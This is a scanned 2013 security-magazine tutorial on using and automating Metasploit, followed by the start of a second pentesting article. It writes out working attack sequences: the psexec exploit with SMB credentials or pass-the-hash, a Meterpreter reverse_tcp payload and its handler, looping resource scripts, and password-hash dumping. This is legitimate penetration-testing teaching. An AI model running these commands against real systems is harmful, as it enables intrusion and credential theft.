Figure 3. Common user interaction with module workfow
Table 1. Commonly used msfconsole commands (not
exhaustive)
Command Description
?/help Help menu
back Move back from the current context
exit/quit Exit the console
info Displays information about one or more
modules
makerc Save commands entered since start to a
fle
previous Sets the previously loaded module as the
current module
resource Run the commands stored in a fle
save Saves the active datastores
search Searches module names and descriptions
sessions Dump session listings and display informa-
tion about sessions
set Sets a variable to a value
setg Sets a global variable to a value
show Displays modules of a given type, or all
modules
unset Unsets one or more variables
unsetg Unsets one or more global variables
use Selects a module by name
46
A GUIDE TO METASPLOIT
TBO 01/2013
use . *psexec<t ab> ). Tab completion saves time
and frustration (although the first time you use tab
completion there can be a delay while the cache is
built). The thing to remember is: Tab completion is
your friend!
By far the most commonly used commands are
use, show, and set. When you use a module,
you are selecting it as the top-level object in your
workflow and msfconsole switches to a module-
specific context and exposes new commands (This
contextual environment is similar in concept to that
of the Cisco IOS and the Windows netsh utility).
For example, running use expl oi t / wi ndows/ smb/
psexec will add the following commands to your
environment (which as usual, can be seen by run-
ning ? or help) (Table 2).
Loading other types of modules (payload, post
etc.) will switch the context again and result in dif-
ferent added commands. Explore these new com-
mands (especially exploit) as we will not be cover-
ing them in depth. Keep in mind however, you can
load any type of module, but depending on your
situation it may not make sense to try and run the
module. For instance you can load a post module,
but if you do not have a session on which to run it,
you wont get far (On the other hand, some mod-
ules, such as payload, can be run in a stand-alone
manner. You can use a payload module, set the
pertinent options, and use the generate command
to output the payload in various formats. This can
also be accomplished, outside msfconsole, using
msfpayload or msfvenom). The thing to remem-
ber is: You use a module.
Once youve loaded a module, you can run the
info command if you arent sure what the mod-
ule does. The info command will give you a nice
description of the module. To proceed further, you
normally have to set some module options and
you do so using the set command. How do you
know what options are available to set? Thats
where the show command becomes your friend.
show -h reveals that show takes various param-
eters, one of which is options. So running show
options while the psexec module is loaded yields:
Figure 5.
Notice the display shows an options name and
current setting, whether it is required, and its de-
scription. The thing to remember is: You show
options. You should examine each option to de-
termine the correct value, keeping in mind a re-
quired option must have a value set, and use the
set command to actually enter the value into the
modules datastore. The thing to remember is:
You set options. When you set an option, you
are setting a value in the modules datastore. In
our case, RHOST is the only re-
quired option without a value.
If we have a Windows host at
192.168.100.102, we set RHOST
192.168.100.102. You can tab
complete options as long as you
use the proper case, so set
RH<t ab> will tab complete, but
set r h<t ab> will not (although
set rhost 192.168.100.102 will
still set the value of RHOST).
All required options are now set,
but non-required options should
always be examined and do-
ing so shows that SMBPass and
SMBUser are blank. That may or
may not be acceptable depend-
ing on the configuration of the
target host. More than likely, you
need to set those options to a
valid username and password for Figure 4. The Metasploit console (msfconsole)
Table 2. Commands added when an exploit module is loaded
Command Description
check Check to see if a target is vulnerable
exploit Launch an exploit attempt
pry Open a Pry session on the current module
rcheck Reloads the module and checks if the tar-
get is vulnerable
reload Just reloads the module
rexploit Reloads the module and launches an ex-
ploit attempt
www.hakin9.org/en 47
the target host. Most exploit modules dont have
user and password options, otherwise they would
not be very effective exploits. The psexec exploit
module is usually used as a follow-on attack af-
ter credentials have been obtained through other
means. However, we can get a description of a
module by running the info command. Doing so
on the psexec module reveals that SMBPass can
also be a valid password hash (not just a clear-
text password), which means we often dont have
to crack the password (This is known as pass-
the-hash and is generally only effective against
Windows hosts using LM or NTLM hashing.
NTLMv2 is not vulnerable to this attack but is vul-
nerable to varieties of SMB-relay. See http://www.
skullsecurity.org/blog/2008/ms08-068-prevent-
ing-smbrelay-attacks for an excellent summary).
Admittedly psexec is not the sexiest of exploits.
The psexec module is considered an exploit be-
cause you can use it to spread within a Windows
enterprise and because it produces a session.
Choosing a good a exploit module is a common
problem and question. Generally, this is where a
vulnerability scanner comes into play. However,
in lieu of having or using a vulnerability scanner,
and assuming you have reconnoitered the target
environment as best you can, experience is the
best guide (Sometimes you can use an exploit
modules check command, but few exploit mod-
ules implement it these days as vuln scanners
do it better, not to mention client-sides cant re-
ally be checked). Use your domain knowledge to
pick the best attack vector. After Ive decided on
the exploitation vector (server-side vs client-side
for instance), I generally select the most recent
applicable exploit module (you can use release
date, Microsoft security bulletin numbers etc.).
However, I never run a module before at least
(Its often best to do further research. Resources
are abundant: the modules source code, operat-
ing system security bulletins, vulnerability alerts,
exploit-db.com, CVEs etc) reading the descrip-
tion from the info command and understanding
any requirements or consequences of the mod-
ule. Sometimes youll find that J ava is required, or
that the module only affects older versions of the
target software, or that it causes a pop-up on the
host etc. Sometimes, there are no viable exploita-
tion vectors, so you might consider a brute force
aux module. Experience plays a significant role in
exploit selection, so we stick to psexec for now.
So far, we have run:
use expl oi t / wi ndows/ smb/ psexec
show opt i ons
set RHOST 192. 168. 100. 102
set SMBPass mypassy
set SMBUser t est er
So what do we do now? Recall that loading the ex-
ploit module gave us new commands, one of which
is exploit. Running exploit will result in the follow-
ing if the credentials are correct (Your experience
will vary depending on the exact confguration of
the host (domain membership, the users exact ac-
cess rights, etc.), especially when the host is run-
ning a version of Windows newer than Windows
XP SP3 and is not joined to a domain): Figure 6.
Theres a lot going on there, but most of the out-
put is related to SMB. However, we do see Up-
loading payload and our prompt has changed
to meterpreter which is interesting since we did
not specify a payload. Well, MSF will generally
pick sane defaults when it can, and in this case
not only did it pick the Meterpreter (more on this
payload later) payload, it also picked a local in-
terface and port for the sessions network traffic
(192.168.100.101:4444). Thats helpful, but op-
tions such as these should not be
left to chance (Especially since it
is well known that Metasploit de-
faults to using port 4444). How-
ever, since show options did not
reveal these options, they were
not obvious. If the currently ac-
tive meterpreter session is back-
grounded using the background
command or killed using exit or
quit (dont forget you could use
help to see the available com-
mands), the context returns to
its original appearance. Running
show options again yields an
expanded options palette with a Figure 5. Showing a modules available options
48
A GUIDE TO METASPLOIT
TBO 01/2013
new Payload options (Figure 7) section. To ex-
plicitly set the payload instead of accepting the
default, run set PAYLOAD payloadname. How
would you discover valid payload names? You can
use the help features to figure it out, and there are
multiple possibilities. The most obvious and direct
method at this point is to run show payloads which
will only show payloads valid for the currently load-
ed module (psexec), but still results in a very long
list. You could also use the search command,
but additional search parameters are required
to narrow the search (e.g. search type:payload
name:meterpreter name:windows), which still re-
sults in a long list, and can be slow. You can also
discover valid payloads by tab completing them
right? Hint, hint. Based on the current payload set-
ting (wi ndows/ met er pr et er / r ever se_t cp) you can
gather that set PAY<tab> windows/<tab> may
begin to reveal valid payloads. Often its easiest
and quickest to use the find or grep (recursive-
ly) shell commands in the modules/exploits di-
rectory. Regardless, you can use the info com-
mand to learn more about each payload. Once
you pick a payload, you may want to make use of
the setg command. The setg command sets the
value of an option in a global datastore, not the
local module datastore. From this point forward,
any module you load which does not already have
the matching option set in the local module datas-
tore, will take on the value in the global datastore
set via setg. Running setg PAYLOAD payload-
name will essentially set a global default for the
PAYLOAD option (did I mention you can tab com-
plete that stuff?). Its important to note however,
that setg does not override existing local module
datastore settings. With experience, payloads be-
come less daunting and tend to fall into groups
such as bind (forward binding), reverse (re-
verse binding (The direction of the payload bind-
ing determines how the connection is initiated.
Reverse payloads send the session connection
to the attacker where an established server-side
listener must be waiting. In this arrangement the
target host becomes a network client)), unstaged
and staged (Staged payloads are usually larger
and are transmitted to the target host in chunks
(or stages). The initial payload (the stager) allo-
cates memory and uses the network to pull down
additional stages), shell, meterpreter etc. You can
run the info command on any module using i nf o
<modul e> ( i nf o payl oad/ wi ndows/ met er pr et er /
r ever se_t cp for example), however you will prob-
ably have to interact with and explore the payload
to get an idea for what it can truly do. Remember
to tab complete, its easier and will help you avoid
typing payloads vs payload etc, which can be
very frustrating. Custom payloads can be em-
ployed as well using the generic/custom payload
setting. The meterpreter family of payloads (Win-
dows, posix, J ava, php) is by far the most capable,
flexible, and robust. Egyp7 has been putting in a
great deal of effort on the historically overlooked
posix meterpreter and it has had a lot of function-
ality added. Most post modules are written for the
meterpreter payload family.
set PAYLOAD */
meterpreter* #
The Meterpreter Payload
Metasploit Unleashed sums up
meterpreter quite well:
Meterpreter, the short form of Meta-In-
terpreter, is an advanced, multi-faceted
payload that operates via [reective]
dll injection. The Meterpreter resides
completely in the memory of the remote
host and leaves no traces on the hard
drive, making it very difcult to detect
with conventional forensic techniques.
Scripts and plugins can be loaded and
unloaded dynamically as required and
Meterpreter development is very strong
and constantly evolving...
(http://www.offensi ve-securi ty.com/
metasploit-unleashed/Payload_Types.
Reflective dll injection: http://blog.har- Figure 6. Running the psexec exploit module
Figure 7. Options for the windows/meterpreter/reverse_tcp payload
www.hakin9.org/en 49
monysecurity.com/2008/10/new-paper-reflective-dll-injection.
html)
Although the meterpreter payload is where au-
tomation really gets interesting, I think its im-
portant to note that you already have some idea
how to automate Metasploit. As mentioned previ-
ously, you can use the resource command and
if you explored the command line options for ms-
fconsole you may have noticed the -r option.
Metasploit resource fles provide the same func-
tionality as resource fles in Linux, they are fles
consisting of commands which are simply execut-
ed sequentially. You can write a resource fle by
hand or use the makerc command to automati-
cally write your previously entered console com-
mands to an rc fle. You can then open the rc fle
in a text editor to correct errors and remove un-
necessary commands such as show options.
Create a resource fle with the following com-
mands:
use expl oi t / wi ndows/ smb/ psexec
show opt i ons
set RHOST 192. 168. 100. 102
set SMBPass mypassy
set SMBUser t est er
set PAYLOAD wi ndows/ met er pr et er / r ever se_t cp
expl oi t # check out t he - j and - z opt i ons f or mor e
cont r ol
Run your resource fle using resource myres.rc,
or have it run automatically when the console is
started by invoking the console as msf consol e
- r pat h/ t o/ myr es. r c . A common location for re-
source fles is <msf _ i nst al l _ di r >/ scr i pt s/
r esour ce/ and msfconsole will tab complete (I
actually contributed this code and it was my frst
foray into tab completion and msfconsole code.
Both of which frightened me. I continue to con-
tribute in these areas as I like to add and fx
functionality where it impacts me the most. http://
git.io/sghT2g (shortened github.com url)) and
load them from there frst, followed by the cur-
rent working directory. But to truly make the most
out of your resource fles, youll want to explore
Meterpreter.
Meterpreter is a very capable payload and has nu-
merous options, so we will only cover a few of them.
Run help to see them all. Like the console, the op-
tions are grouped by theme and new commands will
be presented if new functionality is added using the
load command. load will load a meterpreter exten-
sion (i.e. plugin) which dynamically adds new func-
tionality to the payload, automatically uploading ad-
ditional libraries as needed (dlls in this case). Some
plugins such as stdapi are automatically loaded
The espia and incognito plugins are especially in-
teresting. Many of the other commands will be quite
familiar to anyone who uses the command line, es-
pecially in Linux, and will not be discussed.
Table 3. Some useful Meterpreter commands
Background (Ctrl-
Z usually accom-
plishes this as
well.)
Backgrounds the current session
exit/quit Terminate the meterpreter session
help/? Help menu
info Displays information about a Post
module
load Load one or more meterpreter ex-
tensions
migrate Migrate the server to another pro-
cess
resource Run the commands stored in a fle
run Executes a meterpreter script or
Post module
Many other commands fall under the areas of file
system (ls, cat, download, upload etc.), network-
ing (ifconfig, portfwd, route etc.), system (execute,
getpid, getuid, kill, ps, shell, sysinfo etc.) among
other areas. Youll have to spend some time ex-
ploring the command set to become truly familiar
with Meterpreter. You may want to run getuid and
getpid to determine under what account (uid) and
process ID your Meterpreter is running. You can
then run ps to see the other running processes
and to determine the process name for your pid.
Running shell will drop you to a command shell
which is obviously very handy (run Ctl-Z to back-
ground the shell and return to Meterpreter). Run-
ning sysinfo will give you basic information about
the host. From here you could migrate Meterpreter
to another process, depending on permissions. Mi-
gration is extremely useful, especially when Me-
terpreter is in a process which is likely to be termi-
nated, such as a browser process. This is common
when the exploit module was a client-side attack
such as a browser exploit, or expl oi t / wi ndows/
f i l ef or mat / appl e_qui ckt i me_t exml which affects
QuickTime. This exploit module affects Windows
XP SP3, but has been modified to work on Win-
dows7 (DjManilaIce (Matt Molinyawe) demon-
strates a privately updated version of the exploit
module running on Windows7: http://www.you-
tube.com/watch?v=JznIznfZ0OQ). It is not uncom-
50
A GUIDE TO METASPLOIT
TBO 01/2013
mon for private module versions to exist for various
reasons, most often due to intellectual proper-
ty concerns (There is even a market for updated
and 1-day exploit modules, see www.exploithub.
com. These modules are marketed towards pro-
fessional pentesters. As of 2nd Qtr 2012 there are
116 Metasploit exploit modules available. Notice
who wrote most of those modules...(not me)) or
because of stability issues with the new version
(There is an entire branch of the Metasploit code
dedicated to unstable modules: https://github.com/
rapid7/metasploit-framework/tree/unstable). Most
commonly, running a post module is the next step.
A post module can be run using the run command
from within the Meterpreter context, or by running
use post / pat h/ t o/ post mod from the msfconsole
context. Since it is difficult to show the post mod-
ules options while in the Meterpreter context, I
usually only use this syntax when I know the op-
tions already, or the module doesnt require that I
set any options. Otherwise, I usually background
the meterpreter session and return to the msfcon-
sole context so I can utilize the use method. There
are 500+post modules, broken down by operat-
ing system and then theme. The Windows OS has
the most post modules and they are grouped in-
to capture (keystrokes etc.), escalate (privileges),
gather (user, host, domain, or network information
etc.), manage (the host or the meterpreter environ-
ment), recon, and wlan. You can do just about any-
thing (Seriously, anything. Especially because of
railgun. Railgun is a Windows API bridge allowing
you to call into any DLL (not just operating system
DLLs), taking advantage of anything in the Win-
dows API), but a common practice at this point is
to dump the accounts and their password hashes.
The process and semantics are the same as run-
ning any other module: Figure 8.
Remember to:
T: Tab complete everything.
U: use a module.
S: show options.
S: set options.
E/R: exploit an exploit module and run post and
aux modules
I think at this point, you can appreciate how sim-
ple it would be to write a resource script that
could maybe loop through a group of IPs, cre-
ate a session on each, and dump the hashes.
This could be useful for testing an enterprises
password complexity compliance for instance.
Or, what if you ran a test range and you want to
make sure each host has a specifc application,
confguration, or environment. You could loop
through running various post modules. Although
there are more post modules for the Windows
OS than any other, there are also several Linux
post modules and even multi-OS modules which
run on most modern platforms (fnd them in post/
multi/*). If you attempt to write a resource script
like this, you may fnd yourself wanting to store re-
sults easily as well as run some glue code for
things like looping over IPs or reading them from
a fle. Metasploit has a postgres database which
is incredibly helpful for storing and exporting data.
Most well-written post modules will use the data-
base (via db_report and loot etc.) but not all, es-
pecially not the older modules. A post module can
even create an arbitrary database note (db_note)
against a host, port, vulnerabili-
ty etc. The database has its own
set of options available through
the msfconsole context. The
hosts command will display
the known hosts and pertinent
info about each. hosts -o will
dump the contents in a friend-
ly CSV output. As for the glue
code, well Metasploit has you
covered. You can run ruby in-
line in your resource fle by sup-
plying <r uby> </ r uby> tags. This
makes looping very easy and
essentially makes a resource fle
capable of arbitrary complex-
ity. The ruby can even be used
to load new ruby gems which
the framework doesnt normal-
ly need. There are numerous Figure 8. Running the post/windows/gather/hashdump module
www.hakin9.org/en 51
examples of this in action on the Internet (excel-
lent stuff from mubix: http://www.room362.com/
blog/2010/9/12/rapid-fire-psexec-for-metasploit.
html). A super simple example which just runs our
psexec exploit module 3 times:
use expl oi t / wi ndows/ smb/ psexec
set RHOST 192. 168. 100. 102
set SMBPass mypassy
set SMBUser t est er
set PAYLOAD wi ndows/ met er pr et er / r ever se_t cp
<r uby>
3. t i mes { r un_si ngl e( expl oi t - z) }
# r un_si ngl e i s how you r un a consol e command
when you ar e i n t he r uby t ag
# expl oi t - z i ndi cat es we don t want t o aut o-
i nt er act w/ t he sessi on
</ r uby>
When automating the console and exploit mod-
ules like this, you will sometimes fnd that
Metasploit throws errors because a port is al-
ready bound by another payloads handler, or
youll see exploitation fail because the handler is
not listening anymore. When you use a reverse
connecting (reverse binding) payload, the frame-
work automatically sets up a listening server
called the handler, which handles payloads con-
necting back to the Metasploit instance. To gain
fner grained control over this process you can
set DisablePayloadHandler true before executing
the exploit module. As a consequence, you must
set up the handler yourself, and you will see op-
tions we havent dealt with directly yet. You must
do this before you execute the exploit or the con-
nection will fail. A useful technique in this scenario
is to set ExitOnSession false which tells the han-
dler to remain listening for more connections in-
stead of terminating after the frst session is cre-
ated. DisablePayloadHandler and ExitOnSession
are considered advanced options. You can see
advanced options by running show advanced.
You may also want to check out evasion options...
guess how you see those? Our new code starts
like this: Listing 1.
As I became more capable with Metasploit, right
about when I got to this point here in my learn-
ing, I started to use this approach to manage test
labs, help test my companys defenses with cus-
tom post modules (If you dig around, you can find
some of them here: https://github.com/kernelsmith/
metasploit-framework/tree/post_modules/modules/
post/windows), and even enumerate enterprise net-
works after a breach to help identify rogue network
hosts (See the first topic area in this presentation
(flash): http://prezi.com/r_hmvavkgds-/source-bar-
celona-2011-metasploit-the-hackers-other-swiss-
army-knife/). I began to understand how to inter-
rogate the framework instance for information (You
can find various examples, some silly, some very
interesting, and generally peruse some of my rc
files at https://github.com/kernelsmith/metasploit-
framework/tree/resource_hotness/scripts/resource)
(while inside the ruby tags) such as framework.
sessions and active_module.fullname and I start-
ed to feel somewhat capable. I started hosting VMs
to test my new creations. I found myself doing lots
of tedious work starting the VM, establishing a ses-
sion, loading my experimental module, and run-
ning it. Much of this I automated with resource files,
but some I could not. I also became active on the
#metasploit IRC channel which gave me further in-
sights. Two things happened around this time which
accelerated my learning. First, I volunteered to at-
Listing 1. Example resource fle (manually setting up a payload handler)
use mul t i / handl er
set PAYLOAD wi ndows/ met er pr et er / r ever se_t cp # this MUST match the exploits payload
set LHOST 192. 168. 100. 101 # this is the local interface to which we will bind the handler
set LPORT 4343 # we choose a different local port on which to listen
set Exi t OnSessi on f al se # keep the handler up after the first session is created
expl oi t - j # this runs the handler as a background job
use expl oi t / wi ndows/ smb/ psexec
set RHOST 192. 168. 100. 102
set SMBPass mypassy
set SMBUser t est er
set PAYLOAD wi ndows/ met er pr et er / r ever se_t cp
set Di sabl ePayl oadHandl er t r ue # this tells the framework not to start a payload handler for us
expl oi t - z # -z indicates we dont want to auto-interact w/the session
52
A GUIDE TO METASPLOIT
TBO 01/2013
tempt to add some desired functionality mentioned
by Egyp7 (https://github.com/rapid7/metasploit-
framework/blob/master/lib/msf/core/post/windows/
cli_parse.rb and some of the calling code. In fact,
Im still working on it, its the nnmeterp branch on
my github above). This was not easy for me at the
time, as I had no idea if I could do it, how long it
would take me, and I didnt really know how the pro-
cess of contributing even worked (MSF used svn
back then, they use git now, not that it would have
made much difference to me). I wrote the code and
submitted it as best I could, and it wasnt even in-
tegrated properly. Egyp7 integrated it, tested it and
submitted it. Seeing that code integrated showed
me I could do it myself. I have to thank Egyp7 tre-
mendously at this point, because once I started
submitting useful code, he spent some one-on-one
IRC time with me, even though we had never met
or spoken (although we have now), which really ac-
celerated my understanding. And many folks on the
IRC channel give up their own time to help out the
n00bs. J ust keep in mind that the time given is in
proportion to the quality of your questions. Try not to
ask questions that can be solved by a quick Google
search, etc. Second, as I increasingly began using
virtual machines, I noticed a lesser-known feature
in MSF called lab. Lab (J on later turned the plugin
into a full-blown, stand-alone ruby gem which can
be found here: http://rubygems.org/gems/lab but for
the very latest code, see: https://github.com/pentes-
tify/lab) was a console plugin you could use to man-
age and manipulate virtual machines, but nobody
was using it. Between learning to use it and fixing
a few bugs I found, I started interacting with the au-
thor, J onathan Cran (jcran), who I would find out lat-
er was the Director or Quality Assurance at Rapid7
for Metasploit (Metasploit was acquired in Oct 2009
by Rapid7 but the framework remains (and benefits)
as open source). J on was insanely nice, helpful and
excited to have the bug fixes. I noticed he wanted
VMWare ESX/ESXi support for the lab plugin, and I
had been dealing with ESXi at work, so I decided to
give it shot. This was a very smart thing to do...not
only did I learn a lot about Ruby, but I eventually met
J on at DefCon and now we collaborate on all sorts
of projects and I continue to marvel at his knowl-
edge, willingness to share and teach, and his gre-
garious personality (Seriously, most of us are either
introverted or just plain dont like most people. J on
knows everyone. How we met at DefCon is a funny
story...buy me a beer sometime and Ill tell you). I
eventually parlayed my experiences into a co-pre-
senter arrangement with J on at Source Barcelo-
na 2011 (The video: http://tinyurl.com/blip-sb2011,
the slides (requires flash): http://tinyurl.com/prezi-
sb2011) where I got a close-up look at jcrans dedi-
cation. We both saw the flexibility of MSF and how it
could be used to solve all sorts of problems, or just
to improve current working solutions.
The Source Barcelona presentation is an ex-
cellent example of what you can do, with even
the simple automation code we have seen so
far in this article, and how you can take those
humble beginnings and do some truly interest-
ing things. Some of the ideas we had included
host anomaly detection (I actually implemented
this in real life, the auxi l i ar y/ scanner / smb/ smb_
ver si on module is amazing), network regression
testing, continuous discovery/enumeration, test-
ing & training software, hardware, and meatware
(the people), automating a test lab, simulating
attacks/attackers).
At this point, is probably when I started to fancy
myself as an actual Metasploit contributor, how-
ever, this is also when the contribution process
changed pretty dramatically.
tour_stops.last # Developing for and
Contributing to MSF
While developing your own code for Metasploit
and contributing it back to the community are en-
tirely separate activities, they are also often tied
together. Once you feel comfortable writing some
of your own code, I encourage you to approach the
process as if you are always going to contribute
the code. This forces you to set up your environ-
ment properly and follow at least reasonably good
coding practices. Most importantly, you will be less
likely to lose or corrupt your code.
The first thing you need to know is Metasploit
converted from svn to git in November 2011. In
order to submit any contributions beyond maybe
one-line fixes, you can save everyone a lot of time
and pain by using git. Now, if you havent used
git before, youre admittedly going to need some
time and some pain tolerance, but once you get
going, youll love it (Ok, maybe love is a strong
word. Lets say youll appreciate its usefulness
and technical prowess, and occasionally curse at
it profusely). There are many guides to using and
setting up git (https://help.github.com/articles/set-
up-git), and since its not strictly required to write
your own code, we will not cover it except to point
out that there is an excellent development environ-
ment guide (https://github.com/rapid7/metasploit-
framework/wiki/Metasploit-Development-Environ-
ment) for Metasploit which covers the full process.
To get started more quickly, you may just want to
run the MSF installer and then skip to the git setup.
However, if you plan on doing any major contribu-
www.hakin9.org/en 53
tion, youll want to set up a full development en-
vironment because multiple versions of Ruby are
fully supported and youll want to ensure your code
runs on all of them. Regardless, to properly submit
a contribution, youll need at least a github.com ac-
count. Dont worry its painless and actually pretty
awesome. Youll find yourself putting all your code
on github.com if for no other reason than to have
access to it from anywhere and as a backup so
you dont lose your code. I wrote several post mod-
ules, resource scripts etc., before the switch to git,
but over time they almost all made their way onto
github even though many were never submitted
(usually because they are poorly written, need pol-
ishing, or are too narrowly focused) (See for your-
self: https://github.com/kernelsmith).
Since there are so many resources out there,
well just cover some msfconsole commands and
datastore options which we skipped previously,
but now may become very useful. Well also talk
about some tips to help you sift through the giant
codebase that is MSF (Ohloh says its 2M lines of
code including blank lines: http://www.ohloh.net/p/
metasploit. But dont worry; youll likely never need
to examine that much of it) (Table 4).
There are a few status/log related datastore
settings you might find useful. You can see them
most easily by running the back command un-
til you are at the msfconsole main prompt again
(msf >) and then running show options. Set-
ting ConsoleLogging or SessionLogging will log
all console (or session) I/O and naturally setting
LogLevel to a higher value increases the detail
youll see in your logs at ~. / msf 4/ l ogs (0 is the
default value and 5 is the max). Setting VER-
BOSE to true will increase the verbosity of msf-
console status messages. Before we talk about
some commands, you can save yourself loads of
frustration if you A) use Linux for MSF develop-
ment, I cant even imagine using Windows for it
and B) make the following two changes to your
shell environment. Add an rgrep function or
similar to your shell (http://blog.pentestify.com/
handy-bash-functions) to help you find where
code is declared and add at least the current git
branch to your prompt (https://github.com/rap-
id7/metasploit-framework/wiki/Metasploit-De-
velopment-Environment#wiki-prompt) to avoid
much git grief down the road.
Many of the commands are self-explanatory,
but a few need some elaboration. The irb com-
mand is FANTASTIC. It opens an interactive ru-
by (irb) session while the framework is fully load-
ed. This is insanely helpful when you want to
explore the name and object spaces. Two quick
hints, the framework variable holds the frame-
work instance, and the client variable holds the
meterpreter instance if you run irb from within
the meterpreter context. You could for instance
run something like s = f r amewor k. sessi ons,
s. f i r st [ 1] . al i ve?, or s. f i r st [ 1] . expl oi t .
f ul l name which would be the same as cl i ent .
expl oi t . f ul l name from the meterpreter context.
You can also run tools/msf_irb_shell.rb from a
system command shell if you didnt have MSF al-
ready running. While were talking about the tools
directory, there are some other code exploration
and other standalone tools in there you should
explore. One you should use if submitting any
contributions is msftidy.rb, which will help you
comply with MSF coding styles. Those styles can
be found in the HACKING text file in your instal-
lation directory.
Other useful commands include loadpath in
case you store your modules in a non-standard
location. The best location to store your person-
al modules is usually ~/ . msf 4/ modul es because
modules there are automatically loaded by the
framework, but will not get overwritten by any
updates. The same goes for plugins (~/ . msf 4/
pl ugi ns). This (~. / msf 4) is where you will also find
your configuration info, command history, logs,
etc. The save command will save local datas-
tores so you dont have to keep setting RHOST
etc. spool writes all the console output to a file in
addition to stdout which helps you examine what
happened in the past, especially when running
a long resource file for example, or simply to re-
cord what happened. This can also be helpful for
Table 4. Msfconsole commands commonly used during
development
Command Description
cd Change the current working directory
irb Drop into irb scripting mode
loadpath Searches for and loads modules from a
path
makerc Save commands entered since start to a
fle
reload_all Reloads all modules from all defned mod-
ule paths
resource Run the commands stored in a fle
save Saves the active datastores
spool Write console output into a fle as well the
screen
version Show the framework and console library
version numbers
pry Open a Pry session on the current module
54
A GUIDE TO METASPLOIT
TBO 01/2013
finding your own bugs as well as submitting bugs
back to Metasploit, as can the version command
which will print the framework and console ver-
sions. For serious help debugging your own mod-
ules, I highly recommend the pry command. Pry
is an awesome Ruby gem (http://rubygems.org/
gems/pry and http://pryrepl.org/) which basically
gives you an irb-like console designed for debug-
ging. You can even have your module spawn a
pry session at a specific point by putting binding.
pry at the code location.
As a reward for reading this far, and because I
know the Metasploit codebase can be overwhelm-
ing, Id like to mention that you can develop in a
development IDE. There are not many full-fea-
tured Ruby IDEs, but here is an excellent guide
and walkthrough put together by Matt Molinyawe
(DjManilaIce) for exploring MSF code in netbeans:
Setting up netbeans: http://blog.pentestify.com/
setting-up-metasploit-with-netbeans-ide.
Exploring MSF code: http://blog.pentestify.com/
using-netbeans-ide-features-with-metasploit.
tour.close # Enough Already,
My Head Hurts
I hope you enjoyed the tour and are convinced you
can master Metasploit and start writing your own
code. Hopefully you will even start contributing
back to this great tool and community. Its pretty
amazing what you can accomplish if you dive in
and meet some of the great people who make
up the Metasploit community. The tour guide would
like to thank: his wife first and foremost for her un-
derstanding, as well as MC, egypt, jcran, hdmoore,
Additional Reading
Metasploit Resources
http://www.metasploit.com/development/mailing-list/
http://www.offensive-security.com/metasploit-unle-
ashed/
http://nostarch.com/metasploit (book)
http://www.metasploit.com/development/
http://blog.pentestify.com
Getting started with Ruby
http://www.reddit.com/r/ruby/comments/yfzl8/what_
should_i_be_doing_if_im_just_starting_out/
http://www.sapphiresteel.com/The-Little-Book-Of-Ru-
by/ (free book)
http://www.humblelittlerubybook.com/ (free book)
Setting up a Metasploit development environment
https://github.com/rapid7/metasploit-framework/wiki/
Metasploit-Development-Environment
https://gist.github.com/2555109 (adding current git
branch to your Linux prompt)
http://blog.pentestify.com/setting-up-metasploit-with-
-netbeans-ide
http://blog.pentestify.com/using-netbeans-ide-features-
-with-metasploit (movie)
Automating and Extending the Metasploit Framework,
the Hackers Other Swiss Army Knife
http://prezi.com/r_hmvavkgds-/source-barcelona-2011-
metasploit-the-hackers-other-swiss-army-knife/
http://blip.tv/sourcebarcelona2011/metasploit-hacker-s-
-swiss-army-knife-5860160
Cool contributions and code (there are too many to do
real justice, so this is stuf in which Im involved)
https://github.com/pentestify/
https://github.com/kernelsmith/metasploit-framework
https://github.com/rapid7/metasploit-framework/pulls/
kernelsmith
JOSHUA SMITH
Joshua Smith (kernelsmith) is currently a security re-
searcher at NSS Labs in Austin, TX USA. Previously Josh
worked at the Johns Hopkins University Applied Phys-
ics Laboratory (JHUAPL) performing various test lab,
penetration testing, intrusion analysis, training, and
consultation tasks. Josh also performed penetration
testing for the US military for 3 years, and is an active
Metasploit contributor and community member. Joshs
educational background includes various certifcations,
a B.S. in Aeronautical Engineering from Rensselaer
Polytechnic Institute in Troy, NY USA, an M.A. in Man-
agement of Information Systems from the University of
Great Falls in Great Falls, MT, and sundry computer-re-
lated courses in between knee surgeries and before hav-
ing children. He blogs, along with others at www.pen-
testify.com and tweets occasionally via @kernelsmith.
This is his frst magazine article ever.
djmanilaice, Art Pemberton, Chris Semon, J ay
Turner, Amy Castner, Laura Nolan, Andy Oak, and
countless others too numerous to name.
56
EXPLOITING WITH METASPLOIT
TBO 01/2013
How to Penetrate with
Metasploit?
A Step-by-step Basic Pentesting Guide
Cybercriminals are knocking at our doors, so we need to be
prepared to protect our systems from them. The big question is
how I am going to do this, if I dont know my system vulnerabilities.
Pentesting is the answer. Now, how do I perform a cheap/free
but powerful pentest in my system? Here is where Metasploit
Community appears.
I
n this article, you will learn about Metasploit,
particularly Metasploit Community, and how
to use this powerful solution to perform a pen-
test. Enjoy the reading!
Remembering the concept of Penetration
Testing
The wise Wikipedia, define penetration testing,
also called pentesting, as a method of evalu-
ating the computer security of a computer sys-
tem or network by simulating an attack from ma-
licious outsiders and malicious insiders. In a
few words. It is a method used to seek out vul-
nerabilities that an attacker could exploit. Easy,
right?
But a pentest should not be performed randomly.
You need a predefined methodology to succeed.
Lets check it out.
Pen Testing Methodology
A pentest is commonly performed using a four
phase methodology.
Metasploit Community provides a complete pen-
etration testing system that can be use to perform
a comprehensive four phase pentest: scan for tar-
get hosts, open and control sessions, exploit vul-
nerabilities, and generate reports. In this article,
we will focus only in the discovery and attack/ex-
ploit phases. It is time to learn about the solution
Metasploit!
Metasploit what is that?
In the market there is a good quantity of options
where to choose when you decide to perform a
pentest, from commercial expensive product to
free Open Source options.
Metasploit provides different solutions (editions)
to information security issues from exploit concep-
tion to execution (Figure 2).
Figure 1. Pentesting four phase methodology Figure 2. Metasploit logo
www.hakin9.org/en 57
Here we are going specifically to Metasploit
Community Edition that is only one of several Rap-
id7 products (Figure 3).
Metasploit Community is a free penetration test-
ing solution that provides us with the right to use
the largest fully tested and integrated public data-
base of exploits in the entire world. Yes its huge.
Showtime Testing time
Important: Run Metasploit Community only on ma-
chines you own or have permission to test. Using
this software for criminal activity is illegal and could
result in jail time.
We are going to perform two phases of a regu-
lar pentest: discovery phase and attack/exploit
phase. Following, you will see a step-by-step of
how to do a pentest using Metasploit Community
solution. So, lets begin!
Prerequisites:
Disable the antivirus and frewall in your machine.
Install the Metasploit in your machine.
Launch the Metasploit Web UI.
Create a project or open a created one.
Discovery Phase
The first phase consists on a discovery scan. It is
used to identify the valid hosts within a target net-
work address range, which are going to be exploit-
ed through their vulnerabilities.
When we perform a host scan, Metasploit Com-
munity provides information about the vulnerabili-
ties, services and captured evidence.
Step 1
